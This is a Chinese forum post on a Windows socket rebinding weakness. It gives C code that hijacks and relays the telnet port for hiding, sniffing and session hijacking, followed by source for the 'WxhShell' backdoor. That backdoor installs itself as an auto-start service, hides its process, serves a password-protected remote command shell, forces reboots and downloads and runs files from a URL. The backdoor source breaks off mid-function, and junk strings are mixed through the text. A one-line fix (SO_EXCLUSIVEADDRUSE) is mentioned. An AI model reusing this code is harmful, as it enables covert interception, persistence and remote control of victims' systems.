社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19744阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \l%xuT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r~w.J+W  
YO6BzS/~  
  saddr.sin_family = AF_INET; \bA Yic  
!3v&+Jrf6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6_LeP9s )  
U, 6iT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); " qI99e  
W :w~ M'o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q}1ZuK`6  
r-2k<#^r  
  这意味着什么?意味着可以进行如下的攻击: K|& f5w  
2h E(h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WzMYRKZ  
p7?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NE995;  
WWT1= #"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x3@-E  
b}J%4Lx%m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D$>_W,*V  
{4"V)9o-1>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =;}W)V|X)S  
2[E wN!IZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tAX* CMW  
yNTd_XPL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (FuIOR  
p!.~hw9  
  #include gk]QR.  
  #include XtF m5\U  
  #include V+d_1] l  
  #include    V\V /2u5-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }5o?7} ?  
  int main() GQ_KYS{  
  { 0=d2_YzSf  
  WORD wVersionRequested; JAbUK[:K  
  DWORD ret; 8hRcB[F~S  
  WSADATA wsaData; J[ds.~ $  
  BOOL val; >rG>Bz^Pu  
  SOCKADDR_IN saddr; `-NK:;^  
  SOCKADDR_IN scaddr; *Cy54Z#  
  int err; S0$^|/Sr  
  SOCKET s;  %Bq~b$  
  SOCKET sc; }r}*=;Ea  
  int caddsize; r8k(L{W  
  HANDLE mt; |dRVSVN  
  DWORD tid;   !^J;S%MB:K  
  wVersionRequested = MAKEWORD( 2, 2 ); f~IJ4T2#N  
  err = WSAStartup( wVersionRequested, &wsaData ); -(VJ,)8t2  
  if ( err != 0 ) { Bous d  
  printf("error!WSAStartup failed!\n"); Ts iJK  
  return -1; yTm \O UD  
  } R!nf^*~  
  saddr.sin_family = AF_INET; TS<d?:  
   8`=?_zF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A q i:h]x  
"W<Y1$Y=Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b0P3S!E  
  saddr.sin_port = htons(23); %&ejO= r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )m%uSSx#  
  { !oLn=  
  printf("error!socket failed!\n"); Z~'t'.=z  
  return -1;  ZR.k'  
  } sEhvx +(  
  val = TRUE; =C\Tl-$\f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %Ymi,o>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fv+]iK<{  
  { CEy\1D  
  printf("error!setsockopt failed!\n"); .35(MFvq!  
  return -1; AGhenDN V  
  } (f/(q-7VWt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6F\ 6,E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XcR=4q|7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;Iu _*U9)  
IUMv{2C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k %I83,+  
  { Y2|i>5/|<  
  ret=GetLastError(); TykT(=  
  printf("error!bind failed!\n"); x6ghO-s  
  return -1; 0B6!$) *-i  
  } ["Zvwes#7  
  listen(s,2); w OL,LU  
  while(1) R >xd*A  
  { L*z=!Dpo  
  caddsize = sizeof(scaddr); p1N}2]e  
  //接受连接请求 Q_mphW:[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ly0R'4j \  
  if(sc!=INVALID_SOCKET) An2 >]\L  
  { :e<jD_.X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !Ko2yn}6l  
  if(mt==NULL) yC' y>f`H  
  { r@G*Fx8Z  
  printf("Thread Creat Failed!\n"); j^G=9r[,  
  break; R%r bysP  
  } {16a P  
  } |Xt G9A>  
  CloseHandle(mt); \J LGw1F  
  } |}zWH=6  
  closesocket(s); 5F kdGF  
  WSACleanup(); v,4{:y]p  
  return 0; ~IhAO}1  
  }   Y6{^cZ!=  
  DWORD WINAPI ClientThread(LPVOID lpParam) /wD f,Hduz  
  { 4uF.kz-cg  
  SOCKET ss = (SOCKET)lpParam; N0 {e7M  
  SOCKET sc; 2D 4,#X  
  unsigned char buf[4096]; z/t|'8f  
  SOCKADDR_IN saddr; +!lDAkW0  
  long num; (/y8KG 3  
  DWORD val; PD#,KqL:  
  DWORD ret; vQWmHv\P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !GOaBs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C% -Tw]T$_  
  saddr.sin_family = AF_INET; %=**cvVy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \`Hp/D1  
  saddr.sin_port = htons(23); sXVl4!=l6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xHgC':l(0  
  { 9r%fBiSk  
  printf("error!socket failed!\n"); N{J 1C6  
  return -1; 0O3O^ 0  
  } ]4aPn  
  val = 100; 5lsslE+:J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OP/DWf  
  { Hq.rG-,p  
  ret = GetLastError(); 'LgRdtO6  
  return -1; a4:GGzt  
  } \'|n.1Fr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "FHJ_$!  
  { h'y"`k -  
  ret = GetLastError(); ^ `LqNG  
  return -1; HT<p=o'$Z  
  } *\ii +f-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "ESc^28  
  { l";Yw]:^  
  printf("error!socket connect failed!\n"); <]Td7-n  
  closesocket(sc); ElO|6kOBYG  
  closesocket(ss);  3IxC@QR  
  return -1; |[],z 8  
  } kcS7)"/ zC  
  while(1) E/cV59  
  { .x I Aep_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 're:_;lG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (xgw';g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  Bx45yaT  
  num = recv(ss,buf,4096,0); E &9<JS  
  if(num>0) 7O1MC 8{  
  send(sc,buf,num,0); uV:R3#^  
  else if(num==0) py;p7y!gxA  
  break; HV%/baX]  
  num = recv(sc,buf,4096,0); ,I"T9k-^  
  if(num>0) ]i {yJ)i  
  send(ss,buf,num,0); C0N :z.)4  
  else if(num==0) |]-Zz7N)  
  break; s{b\\$Rb  
  } 9#9 UzKX#  
  closesocket(ss); k;\gYb%L  
  closesocket(sc); !hVbx#bXl  
  return 0 ; pU_3Z3CeE  
  } !.P||$x`&  
_?-oPb  
N sdpE?V  
========================================================== Kk^*#vR  
eN])qw{  
下边附上一个代码,,WXhSHELL evZcoH3~  
"$(+M t^  
========================================================== "Not /8J  
]g-%7g|  
#include "stdafx.h" tp`1S+'~j  
M\{n+r -m  
#include <stdio.h> VcKB:(:[  
#include <string.h> vAX(3  
#include <windows.h> |gE1P/%k  
#include <winsock2.h> Z3]I^i FI  
#include <winsvc.h> 'xH^ksb"  
#include <urlmon.h> C*mVM!D);!  
%,bD| NKp  
#pragma comment (lib, "Ws2_32.lib") G _cJI  
#pragma comment (lib, "urlmon.lib") l!*_[r   
JmCMFq B9  
#define MAX_USER   100 // 最大客户端连接数 vH+g*A0S<  
#define BUF_SOCK   200 // sock buffer T^ktfg Xq  
#define KEY_BUFF   255 // 输入 buffer [v~,|N>w  
G(t:s5:  
#define REBOOT     0   // 重启 l@);U%\pS  
#define SHUTDOWN   1   // 关机 6:5K?Yo  
Gd!-fqNa'x  
#define DEF_PORT   5000 // 监听端口 ~&RTLr#\*M  
hC2Fup1@  
#define REG_LEN     16   // 注册表键长度 dJR[9T_OF  
#define SVC_LEN     80   // NT服务名长度 ny{C,1QG  
VKttJok1  
// 从dll定义API 7I;kh`H$(f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IQJ"B6U)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LwB1~fF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z8E<^<|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !Ubm 586!  
*?<N3Rr*  
// wxhshell配置信息 %}@iz(*}>  
struct WSCFG { ,' k?rQ  
  int ws_port;         // 监听端口 R&|.Lvmc/  
  char ws_passstr[REG_LEN]; // 口令 v_XN).f;  
  int ws_autoins;       // 安装标记, 1=yes 0=no HTh? &u\QG  
  char ws_regname[REG_LEN]; // 注册表键名 h,{Q%sqO  
  char ws_svcname[REG_LEN]; // 服务名 uZ?P{E,K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 egu{}5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JX0M3|I=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0%bCP/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bqbG+ g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^BF}wQb :j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1h@qcom9K_  
wlNL;W@w  
}; =7V4{|ESfy  
?"@Fq2xgB4  
// default Wxhshell configuration #}#m\=0  
struct WSCFG wscfg={DEF_PORT, O?OAXPK2  
    "xuhuanlingzhe",  u 8o!  
    1, eDpi0htm  
    "Wxhshell", Aits<0  
    "Wxhshell", Gj?Zbl <  
            "WxhShell Service", g}%ODa !H  
    "Wrsky Windows CmdShell Service", {($bz T7c  
    "Please Input Your Password: ", ZuGSRGX'  
  1, v\@qMaPY  
  "http://www.wrsky.com/wxhshell.exe", d[t0K]  
  "Wxhshell.exe" %gmx47  
    }; 8;gi8Y  
/[TOy2/;%b  
// 消息定义模块 4r$#-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GQt5GOt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S #GxKMO%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?d%)R*3IX  
char *msg_ws_ext="\n\rExit."; p8,=K<  
char *msg_ws_end="\n\rQuit."; d.f0OhQ  
char *msg_ws_boot="\n\rReboot..."; A"S"La%"  
char *msg_ws_poff="\n\rShutdown..."; b%lB&}uw}  
char *msg_ws_down="\n\rSave to "; VV Q~;{L  
PzPNvV/o  
char *msg_ws_err="\n\rErr!"; %<kfW&_>w  
char *msg_ws_ok="\n\rOK!"; =OK#5r[UV  
:=Zd)i)3  
char ExeFile[MAX_PATH]; P' VHga  
int nUser = 0; 2xN7lfu1RB  
HANDLE handles[MAX_USER]; FJ84 'T\~  
int OsIsNt; <lB2Nv-,  
eP~3m  
SERVICE_STATUS       serviceStatus; OmuE l>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jN+`V)p  
$2Wk#F2c=  
// 函数声明 O ?T~>|  
int Install(void); mH,s!6j?Vp  
int Uninstall(void); Q%O9DCi  
int DownloadFile(char *sURL, SOCKET wsh); H s)]  
int Boot(int flag); p>)1Z<D"a  
void HideProc(void); ),{3LIr  
int GetOsVer(void); wA{) 9.  
int Wxhshell(SOCKET wsl); @zS/J,:v}  
void TalkWithClient(void *cs); d*+}_EV)Y3  
int CmdShell(SOCKET sock); ^U~Er'mT  
int StartFromService(void); aKMX-?%t4  
int StartWxhshell(LPSTR lpCmdLine); q<\r}1Dm  
^:?z7m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ScJ:F-@>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _,^f,WO~  
!$HuH6_[  
// 数据结构和表定义 u|23M,  
SERVICE_TABLE_ENTRY DispatchTable[] = 8GxT!  
{ O#igH  
{wscfg.ws_svcname, NTServiceMain}, ;7Qem&  
{NULL, NULL} R{}_Qb  
}; ^I/(9KP#  
(NUXK  
// 自我安装 |g7)A?2J~  
int Install(void) +PYR  
{ <;i&-,  
  char svExeFile[MAX_PATH]; 3=]/+{B  
  HKEY key; NZ`6iK-V_  
  strcpy(svExeFile,ExeFile); JK)|a@BtOT  
8;=?F>]xn  
// 如果是win9x系统,修改注册表设为自启动 E2 'Al6^C  
if(!OsIsNt) { ? Zv5iI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VFV8ik)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \yymp70w  
  RegCloseKey(key); VII`qbxT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CWs;1`aP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nt+UL/1]  
  RegCloseKey(key); W(ZEqH2  
  return 0; LzXIqj'H7T  
    } .*k!Zl*  
  } j+< !4 0#  
} <\:*cET3  
else { "~C \Z} ;  
]Gl_L7u`  
// 如果是NT以上系统,安装为系统服务 Ahd{f!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z[+Qf3j}o6  
if (schSCManager!=0) FlS)m`  
{ oi3Ix7  
  SC_HANDLE schService = CreateService jbOzbxR?  
  ( ^<yM0'0t  
  schSCManager, AO$aWyI  
  wscfg.ws_svcname, VyU!r* o  
  wscfg.ws_svcdisp, hy"p8j7_  
  SERVICE_ALL_ACCESS, .hvn/5s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0A ~f ^  
  SERVICE_AUTO_START, `).;W  
  SERVICE_ERROR_NORMAL, Z?",+|4  
  svExeFile, *7Sg8\wDn  
  NULL, BcGQpv&x  
  NULL, `0ju=FP'u5  
  NULL, _ )^n[_E  
  NULL, DA4!-\bt@  
  NULL ] )x z  
  ); qj|B #dU  
  if (schService!=0) kLY9#p=X  
  { QQjMC'  
  CloseServiceHandle(schService); sEfGf.  
  CloseServiceHandle(schSCManager); ~w%Z Bp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z42v@?R.!W  
  strcat(svExeFile,wscfg.ws_svcname); VA'<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fs]Zw mA^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~pSD|WX  
  RegCloseKey(key); 'E8dkVlI  
  return 0; l:+pO{7L  
    } 5p{tt;9[  
  } :S7yM8 b`  
  CloseServiceHandle(schSCManager); qXW2a'~  
} W%Zyt:H`  
} 7!N5uR  
1 }q[8q  
return 1; 1y8:tri>N  
} dl$l5z\  
&FvNz  
// 自我卸载 O,1u\Zy/  
int Uninstall(void) Q}Vho.N@=  
{ yxQAO_C  
  HKEY key; 3x9C]  
(U dDp"/  
if(!OsIsNt) { 5BCaE)J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WE~3(rs#X#  
  RegDeleteValue(key,wscfg.ws_regname); mg,f>(  
  RegCloseKey(key); zB]T5]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u!`C:C'  
  RegDeleteValue(key,wscfg.ws_regname); ujWHO$uz!  
  RegCloseKey(key); ng<`2XgU  
  return 0; sBu"$ "]  
  } )L hO}zQ  
} # nYGKZ  
} OB^2NL~Q~  
else { %Z5k8  
1W!n"3#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~D=@4(f8|  
if (schSCManager!=0) E;d 5$  
{ 7ER 2 h*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S&uL9)Glb  
  if (schService!=0) \j;uN#)28  
  { jb![ Lp  
  if(DeleteService(schService)!=0) { ipp_?5TL  
  CloseServiceHandle(schService); HgBg,1  
  CloseServiceHandle(schSCManager); *f#4S_ws`  
  return 0; .M{[J]H`t  
  } @YB\ PVhW  
  CloseServiceHandle(schService); pOYtN1uN|  
  } jgo@~,5R  
  CloseServiceHandle(schSCManager); E$>e< T  
} 2* L/c-  
} (Sv%-8?gs  
6qJB"_.  
return 1; Bw=[g&+o1@  
} 9|WWA%p  
_z5CplO  
// 从指定url下载文件 Lb{D5k*XU  
int DownloadFile(char *sURL, SOCKET wsh) %Nn'p"  
{ h^*{chm]  
  HRESULT hr; .am*d|&+G  
char seps[]= "/"; KRZV9AJ  
char *token; p,8Z{mLn  
char *file; NGY I%:  
char myURL[MAX_PATH]; nu<!/O  
char myFILE[MAX_PATH]; rw2|1_AF  
R*0F)M  
strcpy(myURL,sURL); k-e@G'  
  token=strtok(myURL,seps); KxwLKaImI  
  while(token!=NULL) :GYv9OG  
  { VC(|t} L4  
    file=token; P[K=']c  
  token=strtok(NULL,seps); ~m?~eJK#a  
  } jf/9]`Hf  
;#i$0~lRl  
GetCurrentDirectory(MAX_PATH,myFILE); q_&IZ,{Vk  
strcat(myFILE, "\\"); <6~;-ZQY  
strcat(myFILE, file); !?*!"S-Sl  
  send(wsh,myFILE,strlen(myFILE),0); LeyDs>! 0  
send(wsh,"...",3,0); 5,ahKB8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Oha g%<1#  
  if(hr==S_OK) 9`{2h$U  
return 0; KgWT&^t  
else CM1a<bV<  
return 1;  Zwns|23n  
"%t`I)  
} Ds_ "m,  
30E v"  
// 系统电源模块 u(Sz$eV  
int Boot(int flag) )>5k'1  
{ .b oizW1+  
  HANDLE hToken; )"uG*}\?b  
  TOKEN_PRIVILEGES tkp; 1<`7MN  
/$,=>  
  if(OsIsNt) { WUS9zK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); by[i"!RCu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A]%t0>EL<  
    tkp.PrivilegeCount = 1; HbfB[%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jsd]7C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jY+S,lD  
if(flag==REBOOT) { h)^A3;2F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !o':\hex6  
  return 0; :qTcxzV  
} ]\,uF8gg)  
else { 8Vhck-wF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2\B9o `Y  
  return 0; */y]!<\v!k  
} /JubiLEK  
  } fR%1FXpK&  
  else { X/K)kIi  
if(flag==REBOOT) { 3;S`<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #x@lZ!Y  
  return 0; `{lAhZ5  
} Z WRRh^  
else { k5;Vl0Ho  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D *I;|.=u  
  return 0; E+ 3yN\X(  
} <-B"|u  
} uoY`qF.`  
!FO^:V<|5  
return 1; 3u0<v%Qi  
} pNE\@U|4E  
9Jy2T/l  
// win9x进程隐藏模块 _OU.JrqC  
void HideProc(void) A :bPIXb  
{ 6$fnQcpJ  
=Cy>$/H64  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -N7L #a  
  if ( hKernel != NULL ) v<3o[mq  
  { Jhsv2,8 {  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zP(=,)d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !\#Wk0Ku  
    FreeLibrary(hKernel); p=_XMh`;  
  } s w.AfRQP  
yOUX E>-  
return; Yl&tkSw46  
} Ur([L&  
GtM( Y  
// 获取操作系统版本 Z#F,y)YiO  
int GetOsVer(void) vf'cx:m  
{ jxnQG A  
  OSVERSIONINFO winfo; I51oG:6fR?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 12tJrS*Z  
  GetVersionEx(&winfo); \%Ah^U)gS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D,dHP-v  
  return 1; 6/mkJj+"  
  else 833 %H`jQc  
  return 0; O| 1f^_S/  
} 7O+Ij9+{n  
EO].qN-8  
// 客户端句柄模块 S0N2rU  
int Wxhshell(SOCKET wsl) 2fzKdkJhe  
{ NDRW  
  SOCKET wsh; %[Zqr;~l  
  struct sockaddr_in client; Z\|u9DO  
  DWORD myID; 4FIV  
[Y22Wi  
  while(nUser<MAX_USER) nxyjL)!)0  
{ 3'[Rvy{  
  int nSize=sizeof(client); :vYt Mp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DIG0:)4R.  
  if(wsh==INVALID_SOCKET) return 1; KbwTj*k[  
jcEs10y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .Na&I)udX.  
if(handles[nUser]==0) ,pyQP^u-  
  closesocket(wsh); }z%OnP  
else /lLov.  
  nUser++; <H5n>3#pH  
  } +X:J]- 1)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y Y>-MoF/t  
_/,SZ-C#L4  
  return 0; =PNdP  
} t1e4H=d>  
,8c dXt   
// 关闭 socket /~i.\^HX  
void CloseIt(SOCKET wsh) Hva2j<h  
{ X0y?<G1( a  
closesocket(wsh); `*e4m  
nUser--; E tJ~dL)  
ExitThread(0); brg":V1a  
} eM?rc55|  
Ro'jM0(KE  
// 客户端请求句柄 xi6 80'  
void TalkWithClient(void *cs) >vlQ|/C  
{ EHpu*P~W  
|}_gA  
  SOCKET wsh=(SOCKET)cs; \#PP8  
  char pwd[SVC_LEN]; ~TYbP  
  char cmd[KEY_BUFF]; 0TTIaa$  
char chr[1]; 7w "sJ  
int i,j; hzaLx8L  
[J~aAB  
  while (nUser < MAX_USER) { q}>M& *  
"@.Z#d|Y  
if(wscfg.ws_passstr) { ]{YN{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d,)}+G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fO*)LPen.z  
  //ZeroMemory(pwd,KEY_BUFF); B ,V( LTE  
      i=0; qh%i5Mu  
  while(i<SVC_LEN) { c#=&!FRe  
6 |QTS|!  
  // 设置超时 43KaL(  
  fd_set FdRead; ucw`;<d8  
  struct timeval TimeOut; z~F37]W3[  
  FD_ZERO(&FdRead); f, |QAj=a  
  FD_SET(wsh,&FdRead); mv{<'  
  TimeOut.tv_sec=8; ^>-+@+( r  
  TimeOut.tv_usec=0; .+OB!'dDK^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w{3ycR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zw+=ng.q?  
iBucT"d]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FtE90=$  
  pwd=chr[0]; > 84e`aGE  
  if(chr[0]==0xd || chr[0]==0xa) { veV_be{i  
  pwd=0; NN^QUB  
  break; Ddb-@YD&+0  
  } W;qP=DK2  
  i++; iecWa:('  
    } <P- $RX  
G%;kGi`m  
  // 如果是非法用户,关闭 socket Y.7}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ((qGh>*  
} E$ {J  
> V8sm/M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =LOk13l\"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gSb,s [p&+  
+s ULo  
while(1) { GLCAiSMz[  
40u7fojg2  
  ZeroMemory(cmd,KEY_BUFF); [_V:)  
B_hPcmB  
      // 自动支持客户端 telnet标准   :<H8'4>  
  j=0; L"^OdpOs  
  while(j<KEY_BUFF) { 4Ac}(N5D@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #BsW  
  cmd[j]=chr[0]; 1eHe~p ,  
  if(chr[0]==0xa || chr[0]==0xd) { 9mDn KW  
  cmd[j]=0; `^x9(i/NE  
  break; Ps3~{zH`  
  } BKay*!'PX  
  j++;  t!jYu<P  
    } o5SQ1;`   
@MOCug4  
  // 下载文件 *1$    
  if(strstr(cmd,"http://")) { l[oe*aYN7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A @2Bs 5F  
  if(DownloadFile(cmd,wsh)) q*bt4,D&Es  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P\AqpQv  
  else &<Zdyf?[Ou  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q_sEw~~@!  
  } f}iU& 3S  
  else { &n>7Ir  
Wo!;K|~P  
    switch(cmd[0]) {  m*dNrG  
  dxCPV6 XI  
  // 帮助 |cgui  
  case '?': { F?BS717qS%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0e16Ow6\!1  
    break; UFw](%=&M  
  } Juu+vMn1  
  // 安装 G?xJv`"9iC  
  case 'i': { I3(d<+M  
    if(Install()) E7`qmn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N 9LgU)-Jt  
    else Q|c|2byb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - {{[cT I  
    break; n Q-mmY>#  
    } G\kpUdj}  
  // 卸载 DpvrMI~I_  
  case 'r': { (%'9CfPx  
    if(Uninstall()) wd+K`I/v7h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^2C>L}  
    else $FX,zC<=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R5(T([w'  
    break; x+7*ADKb  
    } q7_+}"i  
  // 显示 wxhshell 所在路径 FnE6?~xa  
  case 'p': { UQPU"F7.  
    char svExeFile[MAX_PATH]; 24B<[lSK  
    strcpy(svExeFile,"\n\r"); D(\$i.,b2  
      strcat(svExeFile,ExeFile); pW|u P8#  
        send(wsh,svExeFile,strlen(svExeFile),0); FFvCi@oT  
    break; ,b|-rU\  
    } +>tUz D  
  // 重启 f<=Fe:1.  
  case 'b': { yWb4Ify  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 76@qHTh }  
    if(Boot(REBOOT)) /tj$luls5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , ;jGJr  
    else { k;KdW P  
